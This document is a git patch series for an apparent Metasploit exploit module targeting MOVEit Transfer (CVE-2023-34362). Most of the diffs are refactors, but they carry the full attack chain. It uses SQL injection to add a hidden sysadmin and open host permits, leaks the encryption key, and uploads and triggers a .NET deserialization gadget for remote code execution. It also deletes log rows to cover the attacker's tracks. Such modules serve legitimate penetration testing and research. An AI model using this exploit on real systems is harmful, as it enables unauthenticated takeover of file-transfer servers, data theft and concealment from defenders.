https://docs.google.com/document/d/11jEIf-zFXVqNzJ7JZW_Kc4YMyF4GkFo8o1LGl6NS01E/edit -# https://github.com/sfewer-r7/CVE-2023-34362 -# https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis -# https://github.com/sfewer-r7/CVE-2023-34362/blob/main/CVE-2023-34362.rb -## - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -20,9 +13,12 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'TBA', + 'Name' => 'MOVEit SQL Injection vulnerability', 'Description' => %q{ - TBA + This module exploits an SQL injection vulnerability in the MOVEit Transfer web application + that allows an unauthenticated attacker to gain access to MOVEit Transfer’s database. + Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an + attacker can leverage an information leak be able to upload a .NET deserialization payload. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -32,7 +28,9 @@ def initialize(info = {}) ], 'References' => [ ['CVE', '2023-34362' ], - ['URL', 'https://github.com/sfewer-r7/CVE-2023-34362'] + ['URL', 'https://github.com/sfewer-r7/CVE-2023-34362'], + ['URL', 'https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis'], + ['URL', 'https://www.wiz.io/blog/cve-2023-34362'] ], 'Platform' => 'win', 'Arch' => [ARCH_CMD], @@ -78,6 +76,35 @@ def initialize(info = {}) @uploadfile_data = Rex::Text.rand_text_alphanumeric(@uploadfile_size) end + def begin_file_upload(folders_json, token_json) + boundary = rand_text_numeric(27) + data = "--#{boundary}\r\n" + data << 'Content-Disposition: form-data;' + data << "name=\"name\"\r\n\r\n#{@uploadfile_name}\r\n--#{boundary}\r\n" + data << "Content-Disposition: form-data; name=\"size\"\r\n\r\n#{@uploadfile_size}\r\n--#{boundary}\r\n" + data << "Content-Disposition: form-data; name=\"comments\"\r\n\r\n\r\n--#{boundary}--\r\n" + + res = send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable"), + 'headers' => { + 'Content-Type' => 'multipart/form-data; boundary=' + boundary, + 'Authorization' => "Bearer #{token_json['access_token']}" + }, + 'connection' => 'close', + 'accept' => '*/*', + 'data' => data + }) + + if res.code != 200 + fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #1 (#{files_response.body})") + end + + files_json = JSON.parse(res.body) + vprint_status("Initiated resumable file upload for fileId '#{files_json['fileId']}'...") + files_json + end + def check res = send_request_cgi({ 'method' => 'GET', @@ -106,68 +133,64 @@ def check return Exploit::CheckCode::Unknown end - def populate_token_instid - begin - res = send_request_cgi({ - 'method' => 'GET', - 'connection' => 'keep-alive', - 'accept' => '*/*' - }) + def cleanup_user(files_json) + hax_username = datastore['USERNAME'] + hax_loginname = datastore['LOGIN_NAME'] + deleteuser_payload = [ + "DELETE FROM moveittransfer.fileuploadinfo WHERE FileID='#{files_json['fileId']}'", # delete the deserialization payload + "DELETE FROM moveittransfer.files WHERE UploadUsername='#{hax_username}'", # delete the file we uploaded + "DELETE FROM moveittransfer.activesessions WHERE Username='#{hax_username}'", # + "DELETE FROM moveittransfer.users WHERE Username='#{hax_username}'", # delete the user account we created + "DELETE FROM moveittransfer.log WHERE Username='#{hax_username}'", # The web ASP stuff logs by username + "DELETE FROM moveittransfer.log WHERE Username='#{hax_loginname}'", # The API logs by loginname + "DELETE FROM moveittransfer.log WHERE Username='Guest:#{@guest_email_addr}'", # The SQLi generates a guest log entry. + ] + sqli(@cookies, sqli_payload(deleteuser_payload)) + end - @cookies = res.get_cookies - # Get the session id from the cookies - if @cookies =~ /ASP.NET_SessionId=([a-z0-9]+);/ - @moveit_token = ::Regexp.last_match(1) - vprint_status("@moveit_token = #{@moveit_token}") - else - fail_with(Msf::Exploit::Failure::Unknown, 'Could not find token from cookies!') - end + def create_sysadmin + hax_username = datastore['USERNAME'] + hax_password = datastore['PASSWORD'] + hax_loginname = datastore['LOGIN_NAME'] + createuser_payload = [ + "UPDATE moveittransfer.hostpermits SET Host='*.*.*.*' WHERE Host!='*.*.*.*'", + "INSERT INTO moveittransfer.users (Username) VALUES ('#{hax_username}')", + "UPDATE moveittransfer.users SET LoginName='#{hax_loginname}' WHERE Username='#{hax_username}'", + "UPDATE moveittransfer.users SET InstID='#{@moveit_instid}' WHERE Username='#{hax_username}'", + "UPDATE moveittransfer.users SET Password='#{makev1password(hax_password, Rex::Text.rand_text_alphanumeric(4))}' WHERE Username='#{hax_username}'", + "UPDATE moveittransfer.users SET Permission='40' WHERE Username='#{hax_username}'", + "UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='#{hax_username}'", + ] + res = sqli(@cookies, sqli_payload(createuser_payload)) - # Get the InstID from the cookies - if @cookies =~ /siLockLongTermInstID=([0-9]+);/ - @moveit_instid = ::Regexp.last_match(1) - vprint_status("@moveit_instid = #{@moveit_instid}") - else - fail_with(Msf::Exploit::Failure::Unknown, 'Could not find InstID from cookies!') - end + if res.code != 200 + fail_with(Msf::Exploit::Failure::Unknown, "Couldn't perform initial SQLi (#{res.body})") end - return true end - def sqli_payload(sql_payload) - # Create the initial injection, and create the session object - payload = [ - # The initial injection - "#{Rex::Text.rand_text_alphanumeric(8)}@#{Rex::Text.rand_text_alphanumeric(8)}.com')", - ].concat(sql_payload) - - # Join our payload, and terminate with a comment character - return payload.join(';') + ';#' + def encrypt_deserialization_gadget(gadget, org_key) + org_key.gsub!(' ', '') + org_key = [org_key].pack('H*').bytes.to_a.pack('C*') + deserialization_gadget = moveitv2encrypt(gadget, org_key) + deserialization_gadget end - # Perform a request to the ISAPI endpoint with an arbitrary transaction - def isapi_request(cookies, transaction, headers) - send_request_cgi({ + def find_folder_id(token_json) + folders_response = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=m2'), + 'uri' => normalize_uri('/api/v1/folders'), 'connection' => 'close', 'accept' => '*/*', - 'cookie' => cookies, 'headers' => { - 'X-siLock-Test': 'abcdX-SILOCK-Transaction: folder_add_by_path', - 'X-siLock-Transaction': transaction - }.merge(headers) + 'Authorization' => "Bearer #{token_json['access_token']}" + } }) - end - - def set_session(token, session_hash) - session_vars = {} - session_index = 0 - session_hash.each_pair do |k, v| - session_vars.store("X-siLock-SessVar#{session_index}", "#{k}: #{v}") - session_index += 1 + if folders_response.code != 200 + fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API folders (#{folders_response.body})") end - isapi_request(token, 'session_setvars', session_vars) + folders_json = JSON.parse(folders_response.body) + vprint_status("Found folderId '#{folders_json['items'][0]['id']}'.") + folders_json end def get_csrf_token(res) @@ -190,152 +213,19 @@ def guestaccess_request(_cookies, body) res end - def sqli(cookies, sql_payload) - # Set up a fake package in the session. The order here is important. We set these session - # variables one per request, so first set the package information, then switch over to a - # 'Guest' username to allow the CSRF/injection to work as expected. If we don't do this - # order the session will be cleared and the injection will not work. - set_session(cookies, { - 'MyPkgAccessCode' => 'accesscode', # Must match the final request Arg06 - 'MyPkgID' => '0', # Is self provisioned? (must be 0) - 'MyGuestEmailAddr' => @guest_email_addr, # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs - 'MyPkgInstID' => '1234', # this can be any int value - 'MyPkgSelfProvisionedRecips' => sql_payload, - 'MyUsername' => 'Guest' - }) - - # Get a CSRF token - this has to be *after* you set MyUsername, since the - # username is incorporated into it - # - # Transaction => request type, different types will work - # Arg06 => the package access code (must match what's set above) - # Arg12 => promptaccesscode requests a form, which contains a CSRF code - - body = { 'Transaction' => 'dummy', 'Arg06' => 'accesscode', 'Arg12' => 'promptaccesscode' } - csrf = get_csrf_token(guestaccess_request(cookies, body)) - - # This does the actual injection - body = { - 'Arg06' => 'accesscode', - 'transaction' => 'secmsgpost', - 'Arg01' => 'subject', - 'Arg04' => 'body', - 'Arg05' => 'sendauto', - 'Arg09' => 'pkgtest9', - 'csrftoken' => csrf - } - guestaccess_request(cookies, body) - end - - def makev1password(password, salt = 'AAAA') - fail_with(Msf::Exploit::Failure::BadConfig, 'password cannot be empty') if password.empty? - fail_with(Msf::Exploit::Failure::BadConfig, 'salt must be 4 bytes') if salt.length != 4 - - # These two hardcoded values are found in MOVEit.DMZ.Core.Cryptography.Providers.SecretProvider.GetSecret - pwpre = Base64.decode64('=VT2jkEH3vAs=') - - pwpost = Base64.decode64('=0maaSIA5oy0=') - - md5 = Digest::MD5.new - md5.update(pwpre) - md5.update(salt) - md5.update(password) - md5.update(pwpost) - - pw = [(4 + 4 + 16), 0, 0, 0].pack('CCCC') - pw << salt - pw << md5.digest - - return Base64.strict_encode64(pw).gsub('+', '-') - end - - def request_api_token - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri('/api/v1/token'), - 'Content-Type' => 'application/x-www-form-urlencoded', - 'connection' => 'keep-alive', - 'accept' => '*/*', - 'vars_post' => { - 'grant_type' => 'password', - 'username' => datastore['LOGIN_NAME'], - 'password' => datastore['PASSWORD'] - } - }) - - if res.code != 200 - fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API token (#{res.body})") - end - token_json = JSON.parse(res.body) - vprint_status("Got API access token='#{token_json['access_token']}'.") - token_json - end - - def find_folder_id(token_json) - folders_response = send_request_cgi({ + # Perform a request to the ISAPI endpoint with an arbitrary transaction + def isapi_request(cookies, transaction, headers) + send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri('/api/v1/folders'), + 'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=m2'), 'connection' => 'close', 'accept' => '*/*', + 'cookie' => cookies, 'headers' => { - 'Authorization' => "Bearer #{token_json['access_token']}" - } - }) - if folders_response.code != 200 - fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API folders (#{folders_response.body})") - end - folders_json = JSON.parse(folders_response.body) - vprint_status("Found folderId '#{folders_json['items'][0]['id']}'.") - folders_json - end - - def create_sysadmin - hax_username = datastore['USERNAME'] - hax_password = datastore['PASSWORD'] - hax_loginname = datastore['LOGIN_NAME'] - createuser_payload = [ - "UPDATE moveittransfer.hostpermits SET Host='*.*.*.*' WHERE Host!='*.*.*.*'", - "INSERT INTO moveittransfer.users (Username) VALUES ('#{hax_username}')", - "UPDATE moveittransfer.users SET LoginName='#{hax_loginname}' WHERE Username='#{hax_username}'", - "UPDATE moveittransfer.users SET InstID='#{@moveit_instid}' WHERE Username='#{hax_username}'", - "UPDATE moveittransfer.users SET Password='#{makev1password(hax_password, Rex::Text.rand_text_alphanumeric(4))}' WHERE Username='#{hax_username}'", - "UPDATE moveittransfer.users SET Permission='40' WHERE Username='#{hax_username}'", - "UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='#{hax_username}'", - ] - res = sqli(@cookies, sqli_payload(createuser_payload)) - - if res.code != 200 - fail_with(Msf::Exploit::Failure::Unknown, "Couldn't perform initial SQLi (#{res.body})") - end - end - - def begin_file_upload(folders_json, token_json) - boundary = rand_text_numeric(27) - data = "--#{boundary}\r\n" - data << 'Content-Disposition: form-data;' - data << "name=\"name\"\r\n\r\n#{@uploadfile_name}\r\n--#{boundary}\r\n" - data << "Content-Disposition: form-data; name=\"size\"\r\n\r\n#{@uploadfile_size}\r\n--#{boundary}\r\n" - data << "Content-Disposition: form-data; name=\"comments\"\r\n\r\n\r\n--#{boundary}--\r\n" - - res = send_request_raw({ - 'method' => 'POST', - 'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable"), - 'headers' => { - 'Content-Type' => 'multipart/form-data; boundary=' + boundary, - 'Authorization' => "Bearer #{token_json['access_token']}" - }, - 'connection' => 'close', - 'accept' => '*/*', - 'data' => data + 'X-siLock-Test': 'abcdX-SILOCK-Transaction: folder_add_by_path', + 'X-siLock-Transaction': transaction + }.merge(headers) }) - - if res.code != 200 - fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #1 (#{files_response.body})") - end - - files_json = JSON.parse(res.body) - vprint_status("Initiated resumable file upload for fileId '#{files_json['fileId']}'...") - files_json end def leak_encryption_key(token_json, files_json) @@ -365,6 +255,26 @@ def leak_encryption_key(token_json, files_json) org_key end + def makev1password(password, salt = 'AAAA') + fail_with(Msf::Exploit::Failure::BadConfig, 'password cannot be empty') if password.empty? + fail_with(Msf::Exploit::Failure::BadConfig, 'salt must be 4 bytes') if salt.length != 4 + + # These two hardcoded values are found in MOVEit.DMZ.Core.Cryptography.Providers.SecretProvider.GetSecret + pwpre = Base64.decode64('=VT2jkEH3vAs=') + pwpost = Base64.decode64('=0maaSIA5oy0=') + md5 = Digest::MD5.new + md5.update(pwpre) + md5.update(salt) + md5.update(password) + md5.update(pwpost) + + pw = [(4 + 4 + 16), 0, 0, 0].pack('CCCC') + pw << salt + pw << md5.digest + + return Base64.strict_encode64(pw).gsub('+', '-') + end + def moveitv2encrypt(data, org_key, iv = nil, tag = '@%!') fail_with(Msf::Exploit::Failure::BadConfig, 'org_key must be 16 bytyes') if org_key.length != 16 @@ -409,19 +319,112 @@ def moveitv2encrypt(data, org_key, iv = nil, tag = '@%!') return tag + Base64.strict_encode64(header + encrypted_data) end - def encrypt_deserialization_gadget(gadget, org_key) - org_key.gsub!(' ', '') - org_key = [org_key].pack('H*').bytes.to_a.pack('C*') - deserialization_gadget = moveitv2encrypt(gadget, org_key) - deserialization_gadget + def populate_token_instid + begin + res = send_request_cgi({ + 'method' => 'GET', + 'connection' => 'keep-alive', + 'accept' => '*/*' + }) + + @cookies = res.get_cookies + # Get the session id from the cookies + if @cookies =~ /ASP.NET_SessionId=([a-z0-9]+);/ + @moveit_token = ::Regexp.last_match(1) + vprint_status("@moveit_token = #{@moveit_token}") + else + fail_with(Msf::Exploit::Failure::Unknown, 'Could not find token from cookies!') + end + + # Get the InstID from the cookies + if @cookies =~ /siLockLongTermInstID=([0-9]+);/ + @moveit_instid = ::Regexp.last_match(1) + vprint_status("@moveit_instid = #{@moveit_instid}") + else + fail_with(Msf::Exploit::Failure::Unknown, 'Could not find InstID from cookies!') + end + end + return true end - def upload_encrypted_gadget(encrypted_gadget, files_json) - haxupload_payload = [ - "UPDATE moveittransfer.fileuploadinfo SET State='#{encrypted_gadget}' WHERE FileID='#{files_json['fileId']}'", - ] - vprint_status('Planting encrypted gadget into the DB...') - sqli(@cookies, sqli_payload(haxupload_payload)) + def request_api_token + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('/api/v1/token'), + 'Content-Type' => 'application/x-www-form-urlencoded', + 'connection' => 'keep-alive', + 'accept' => '*/*', + 'vars_post' => { + 'grant_type' => 'password', + 'username' => datastore['LOGIN_NAME'], + 'password' => datastore['PASSWORD'] + } + }) + + if res.code != 200 + fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API token (#{res.body})") + end + token_json = JSON.parse(res.body) + vprint_status("Got API access token='#{token_json['access_token']}'.") + token_json + end + + def set_session(token, session_hash) + session_vars = {} + session_index = 0 + session_hash.each_pair do |k, v| + session_vars.store("X-siLock-SessVar#{session_index}", "#{k}: #{v}") + session_index += 1 + end + isapi_request(token, 'session_setvars', session_vars) + end + + def sqli(cookies, sql_payload) + # Set up a fake package in the session. The order here is important. We set these session + # variables one per request, so first set the package information, then switch over to a + # 'Guest' username to allow the CSRF/injection to work as expected. If we don't do this + # order the session will be cleared and the injection will not work. + set_session(cookies, { + 'MyPkgAccessCode' => 'accesscode', # Must match the final request Arg06 + 'MyPkgID' => '0', # Is self provisioned? (must be 0) + 'MyGuestEmailAddr' => @guest_email_addr, # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs + 'MyPkgInstID' => '1234', # this can be any int value + 'MyPkgSelfProvisionedRecips' => sql_payload, + 'MyUsername' => 'Guest' + }) + + # Get a CSRF token - this has to be *after* you set MyUsername, since the + # username is incorporated into it + # + # Transaction => request type, different types will work + # Arg06 => the package access code (must match what's set above) + # Arg12 => promptaccesscode requests a form, which contains a CSRF code + + body = { 'Transaction' => 'dummy', 'Arg06' => 'accesscode', 'Arg12' => 'promptaccesscode' } + csrf = get_csrf_token(guestaccess_request(cookies, body)) + + # This does the actual injection + body = { + 'Arg06' => 'accesscode', + 'transaction' => 'secmsgpost', + 'Arg01' => 'subject', + 'Arg04' => 'body', + 'Arg05' => 'sendauto', + 'Arg09' => 'pkgtest9', + 'csrftoken' => csrf + } + guestaccess_request(cookies, body) + end + + def sqli_payload(sql_payload) + # Create the initial injection, and create the session object + payload = [ + # The initial injection + "#{Rex::Text.rand_text_alphanumeric(8)}@#{Rex::Text.rand_text_alphanumeric(8)}.com')", + ].concat(sql_payload) + + # Join our payload, and terminate with a comment character + return payload.join(';') + ';#' end def trigger_deserialization(token_json, files_json, folders_json) @@ -446,35 +449,12 @@ def trigger_deserialization(token_json, files_json, folders_json) end end - def execute_command(cmd, _opts = {}) - gadget = ::Msf::Util::DotNetDeserialization.generate( - cmd, - gadget_chain: :TextFormattingRunProperties, - formatter: :BinaryFormatter - ) - # gadget = powershell_escape(gadget) - vprint_status(payload.encoded) - vprint_status(gadget) - b64_gadget = Rex::Text.encode_base64(gadget) - encrypted_gadget = encrypt_deserialization_gadget(b64_gadget, org_key) - upload_encrypted_gadget(encrypted_gadget, files_json) - vprint_status("uploading fileid #{files_json['fileId']} to folderid #{folders_json['items'][0]['id']}") - trigger_deserialization(token_json, files_json, folders_json) - end - - def cleanup_user(files_json) - hax_username = datastore['USERNAME'] - hax_loginname = datastore['LOGIN_NAME'] - deleteuser_payload = [ - "DELETE FROM moveittransfer.fileuploadinfo WHERE FileID='#{files_json['fileId']}'", # delete the deserialization payload - "DELETE FROM moveittransfer.files WHERE UploadUsername='#{hax_username}'", # delete the file we uploaded - "DELETE FROM moveittransfer.activesessions WHERE Username='#{hax_username}'", # - "DELETE FROM moveittransfer.users WHERE Username='#{hax_username}'", # delete the user account we created - "DELETE FROM moveittransfer.log WHERE Username='#{hax_username}'", # The web ASP stuff logs by username - "DELETE FROM moveittransfer.log WHERE Username='#{hax_loginname}'", # The API logs by loginname - "DELETE FROM moveittransfer.log WHERE Username='Guest:#{@guest_email_addr}'", # The SQLi generates a guest log entry. + def upload_encrypted_gadget(encrypted_gadget, files_json) + haxupload_payload = [ + "UPDATE moveittransfer.fileuploadinfo SET State='#{encrypted_gadget}' WHERE FileID='#{files_json['fileId']}'", ] - sqli(@cookies, sqli_payload(deleteuser_payload)) + vprint_status('Planting encrypted gadget into the DB...') + sqli(@cookies, sqli_payload(haxupload_payload)) end def exploit @@ -492,9 +472,7 @@ def exploit files_json = begin_file_upload(folders_json, token_json) print_status('[5/10] Leak Encryption Key') org_key = leak_encryption_key(token_json, files_json) - # gadget = "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=" print_status('[6/10] Generate Gadget') - print_status("Payload Length = #{payload.encoded.length}") gadget = ::Msf::Util::DotNetDeserialization.generate( payload.encoded, gadget_chain: :TextFormattingRunProperties, @@ -505,7 +483,6 @@ def exploit encrypted_gadget = encrypt_deserialization_gadget(b64_gadget, org_key) print_status('[8/10] Upload Encrypted Gadget') upload_encrypted_gadget(encrypted_gadget, files_json) - # vprint_status("uploading fileid #{files_json["fileId']} to folderid #{folders_json['items'][0]['id']}") print_status('[9/10] Trigger Gadget') trigger_deserialization(token_json, files_json, folders_json) print_status('[10/10] Cleaning Up') From a2c2a9193ffa4b7e74d1fba2627043df54a7cd6c Mon Sep 17 00:00:00 2001 From: bwatters Date: Thu, 22 Jun 2023 08:27:44 -0500 Subject: [PATCH 09/12] Update error catching logic --- .../windows/http/moveit_cve_2023_34362.rb | 74 +++++++------------ 1 file changed, 27 insertions(+), 47 deletions(-) diff --git a/modules/exploits/windows/http/moveit_cve_2023_34362.rb b/modules/exploits/windows/http/moveit_cve_2023_34362.rb index 8b97ccf7a004..4ea2859fe0b7 100644 --- a/modules/exploits/windows/http/moveit_cve_2023_34362.rb +++ b/modules/exploits/windows/http/moveit_cve_2023_34362.rb @@ -96,9 +96,7 @@ def begin_file_upload(folders_json, token_json) 'data' => data }) - if res.code != 200 - fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #1 (#{files_response.body})") - end + fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #1 (#{files_response.body})") if res.code != 200 files_json = JSON.parse(res.body) vprint_status("Initiated resumable file upload for fileId '#{files_json['fileId']}'...") @@ -163,9 +161,7 @@ def create_sysadmin ] res = sqli(@cookies, sqli_payload(createuser_payload)) - if res.code != 200 - fail_with(Msf::Exploit::Failure::Unknown, "Couldn't perform initial SQLi (#{res.body})") - end + fail_with(Msf::Exploit::Failure::Unknown, "Couldn't perform initial SQLi (#{res.body})") if res.code != 200 end def encrypt_deserialization_gadget(gadget, org_key) @@ -185,20 +181,15 @@ def find_folder_id(token_json) 'Authorization' => "Bearer #{token_json['access_token']}" } }) - if folders_response.code != 200 - fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API folders (#{folders_response.body})") - end + fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API folders (#{folders_response.body})") if folders_response.code != 200 folders_json = JSON.parse(folders_response.body) vprint_status("Found folderId '#{folders_json['items'][0]['id']}'.") folders_json end def get_csrf_token(res) - if res.to_s.split(/\n/).join =~ /.*csrftoken" value="([a-f0-9]*)"/ - return ::Regexp.last_match(1) - else - fail_with(Msf::Exploit::Failure::Unknown, 'No csrf token, or my code is bad') - end + fail_with(Msf::Exploit::Failure::Unknown, 'No csrf token, or my code is bad') unless res.to_s.split(/\n/).join =~ /.*csrftoken" value="([a-f0-9]*)"/ + ::Regexp.last_match(1) end def guestaccess_request(_cookies, body) @@ -246,9 +237,7 @@ def leak_encryption_key(token_json, files_json) } }) - if leak_response.code != 200 - fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #LEAK (#{leak_response.body})") - end + fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #LEAK (#{leak_response.body})") if leak_response.code != 200 leak_json = JSON.parse(leak_response.body) org_key = leak_json['uploadAgentBrand'] vprint_status("Leaked the Org Key: #{org_key}") @@ -329,22 +318,16 @@ def populate_token_instid @cookies = res.get_cookies # Get the session id from the cookies - if @cookies =~ /ASP.NET_SessionId=([a-z0-9]+);/ - @moveit_token = ::Regexp.last_match(1) - vprint_status("@moveit_token = #{@moveit_token}") - else - fail_with(Msf::Exploit::Failure::Unknown, 'Could not find token from cookies!') - end + fail_with(Msf::Exploit::Failure::Unknown, 'Could not find token from cookies!') unless @cookies =~ /ASP.NET_SessionId=([a-z0-9]+);/ + @moveit_token = ::Regexp.last_match(1) + vprint_status("@moveit_token = #{@moveit_token}") # Get the InstID from the cookies - if @cookies =~ /siLockLongTermInstID=([0-9]+);/ - @moveit_instid = ::Regexp.last_match(1) - vprint_status("@moveit_instid = #{@moveit_instid}") - else - fail_with(Msf::Exploit::Failure::Unknown, 'Could not find InstID from cookies!') - end + fail_with(Msf::Exploit::Failure::Unknown, 'Could not find InstID from cookies!') unless @cookies =~ /siLockLongTermInstID=([0-9]+);/ + @moveit_instid = ::Regexp.last_match(1) + vprint_status("@moveit_instid = #{@moveit_instid}") end - return true + true end def request_api_token @@ -361,9 +344,8 @@ def request_api_token } }) - if res.code != 200 - fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API token (#{res.body})") - end + fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API token (#{res.body})") if res.code != 200 + token_json = JSON.parse(res.body) vprint_status("Got API access token='#{token_json['access_token']}'.") token_json @@ -444,9 +426,7 @@ def trigger_deserialization(token_json, files_json, folders_json) }) # 500 if payload runs :) - if files_response.code != 500 - fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #2 code=#{files_response.code} (#{files_response.body})") - end + fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #2 code=#{files_response.code} (#{files_response.body})") if files_response.code != 500 end def upload_encrypted_gadget(encrypted_gadget, files_json) @@ -459,33 +439,33 @@ def upload_encrypted_gadget(encrypted_gadget, files_json) def exploit # Get the sessionID and siLockLongTermInstID - print_status('[0/10] Get the sessionID and siLockLongTermInstID') + print_status('[1/11] Get the sessionID and siLockLongTermInstID') populate_token_instid # Allow Remote Access and Create new sysAd - print_status('[1/10] Create New Sysadmin') + print_status('[2/11] Create New Sysadmin') create_sysadmin - print_status('[2/10] Get API Token') + print_status('[3/11] Get API Token') token_json = request_api_token - print_status('[3/10] Get Folder ID') + print_status('[4/11] Get Folder ID') folders_json = find_folder_id(token_json) - print_status('[4/10] Begin File Upload') + print_status('[5/11] Begin File Upload') files_json = begin_file_upload(folders_json, token_json) - print_status('[5/10] Leak Encryption Key') + print_status('[6/11] Leak Encryption Key') org_key = leak_encryption_key(token_json, files_json) - print_status('[6/10] Generate Gadget') + print_status('[7/11] Generate Gadget') gadget = ::Msf::Util::DotNetDeserialization.generate( payload.encoded, gadget_chain: :TextFormattingRunProperties, formatter: :BinaryFormatter ) - print_status('[7/10] Encrypt Gadget') + print_status('[8/11] Encrypt Gadget') b64_gadget = Rex::Text.encode_base64(gadget) encrypted_gadget = encrypt_deserialization_gadget(b64_gadget, org_key) - print_status('[8/10] Upload Encrypted Gadget') + print_status('[9/11] Upload Encrypted Gadget') upload_encrypted_gadget(encrypted_gadget, files_json) - print_status('[9/10] Trigger Gadget') + print_status('[10/11] Trigger Gadget') trigger_deserialization(token_json, files_json, folders_json) - print_status('[10/10] Cleaning Up') + print_status('[11/11] Cleaning Up') cleanup_user(files_json) end end From 5f667e1d7961b51c7ca97e56cfaf7c89dcb5a709 Mon Sep 17 00:00:00 2001 From: bwatters Date: Thu, 22 Jun 2023 10:22:43 -0500 Subject: [PATCH 10/12] Address code review --- .../windows/http/moveit_cve_2023_34362.md | 3 - .../windows/http/moveit_cve_2023_34362.rb | 67 +++++++++---------- 2 files changed, 33 insertions(+), 37 deletions(-) diff --git a/documentation/modules/exploit/windows/http/moveit_cve_2023_34362.md b/documentation/modules/exploit/windows/http/moveit_cve_2023_34362.md index 3d6bbfa7854a..bd6903b0ce0f 100644 --- a/documentation/modules/exploit/windows/http/moveit_cve_2023_34362.md +++ b/documentation/modules/exploit/windows/http/moveit_cve_2023_34362.md @@ -121,7 +121,4 @@ meterpreter > getsystem meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > - - - ``` diff --git a/modules/exploits/windows/http/moveit_cve_2023_34362.rb b/modules/exploits/windows/http/moveit_cve_2023_34362.rb index 4ea2859fe0b7..43f9e4cede5e 100644 --- a/modules/exploits/windows/http/moveit_cve_2023_34362.rb +++ b/modules/exploits/windows/http/moveit_cve_2023_34362.rb @@ -64,12 +64,10 @@ def initialize(info = {}) Msf::OptString.new('USERNAME', [ true, 'Username', Rex::Text.rand_text_alphanumeric(5..11)]), Msf::OptString.new('LOGIN_NAME', [ true, 'Login Name', Rex::Text.rand_text_alphanumeric(5..11)]), Msf::OptString.new('PASSWORD', [ true, 'Password', Rex::Text.rand_text_alphanumeric(5..11)]) - ] ) @moveit_token = nil @moveit_instid = nil - @cookies = nil @guest_email_addr = "#{Rex::Text.rand_text_alphanumeric(5..12)}@#{Rex::Text.rand_text_alphanumeric(3..6)}.com" @uploadfile_name = Rex::Text.rand_text_alphanumeric(8..15) @uploadfile_size = rand(5..64) @@ -98,7 +96,7 @@ def begin_file_upload(folders_json, token_json) 